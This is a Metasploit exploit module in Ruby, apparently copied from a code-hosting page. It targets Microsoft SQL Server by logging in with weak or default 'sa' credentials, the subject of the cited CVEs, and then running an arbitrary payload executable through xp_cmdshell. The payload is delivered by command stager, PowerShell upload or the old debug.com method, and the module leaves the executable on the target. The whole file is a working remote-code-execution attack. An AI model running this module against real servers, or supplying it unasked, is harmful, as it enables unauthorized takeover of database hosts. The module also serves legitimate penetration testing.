106 lines
3.3 KiB
Ruby
106 lines
3.3 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::MSSQL
|
|
include Msf::Exploit::CmdStager
|
|
#include Msf::Exploit::CmdStagerDebugAsm
|
|
#include Msf::Exploit::CmdStagerDebugWrite
|
|
#include Msf::Exploit::CmdStagerTFTP
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Microsoft SQL Server Payload Execution',
|
|
'Description' => %q{
|
|
This module executes an arbitrary payload on a Microsoft SQL Server by using
|
|
the "xp_cmdshell" stored procedure. Currently, three delivery methods are supported.
|
|
|
|
First, the original method uses Windows 'debug.com'. File size restrictions are
|
|
avoidied by incorporating the debug bypass method presented by SecureStat at
|
|
Defcon 17. Since this method invokes ntvdm, it is not available on x86_64 systems.
|
|
|
|
A second method takes advantage of the Command Stager subsystem. This allows using
|
|
various techniques, such as using a TFTP server, to send the executable. By default
|
|
the Command Stager uses 'wcsript.exe' to generate the executable on the target.
|
|
|
|
Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the
|
|
payload on the target.
|
|
|
|
NOTE: This module will leave a payload executable on the target system when the
|
|
attack is finished.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', # original module, debug.exe method, powershell method
|
|
'jduck' # command stager mods
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
# 'sa' password in logs
|
|
[ 'CVE', '2000-0402' ],
|
|
[ 'OSVDB', '557' ],
|
|
[ 'BID', '1281' ],
|
|
|
|
# blank default 'sa' password
|
|
[ 'CVE', '2000-1209' ],
|
|
[ 'OSVDB', '15757' ],
|
|
[ 'BID', '4797' ]
|
|
],
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { } ],
|
|
],
|
|
'CmdStagerFlavor' => 'vbs',
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'May 30 2000'
|
|
))
|
|
register_options(
|
|
[
|
|
OptString.new('METHOD', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'cmd' ])
|
|
])
|
|
end
|
|
|
|
# This is method required for the CmdStager to work...
|
|
def execute_command(cmd, opts)
|
|
mssql_xpcmdshell(cmd, datastore['VERBOSE'])
|
|
end
|
|
|
|
def exploit
|
|
|
|
if (not mssql_login_datastore)
|
|
print_status("Invalid SQL Server credentials")
|
|
return
|
|
end
|
|
|
|
method = datastore['METHOD'].downcase
|
|
|
|
if (method =~ /^cmd/)
|
|
execute_cmdstager({ :linemax => 1500, :nodelete => true })
|
|
#execute_cmdstager({ :linemax => 1500 })
|
|
else
|
|
# Generate the EXE, this is the same no matter what delivery mechanism we use
|
|
exe = generate_payload_exe
|
|
|
|
# Use powershell method for payload delivery if specified
|
|
if (method =~ /^ps/) or (method =~ /^power/)
|
|
powershell_upload_exec(exe)
|
|
else
|
|
# Otherwise, fall back to the old way..
|
|
mssql_upload_exec(exe, datastore['VERBOSE'])
|
|
end
|
|
end
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|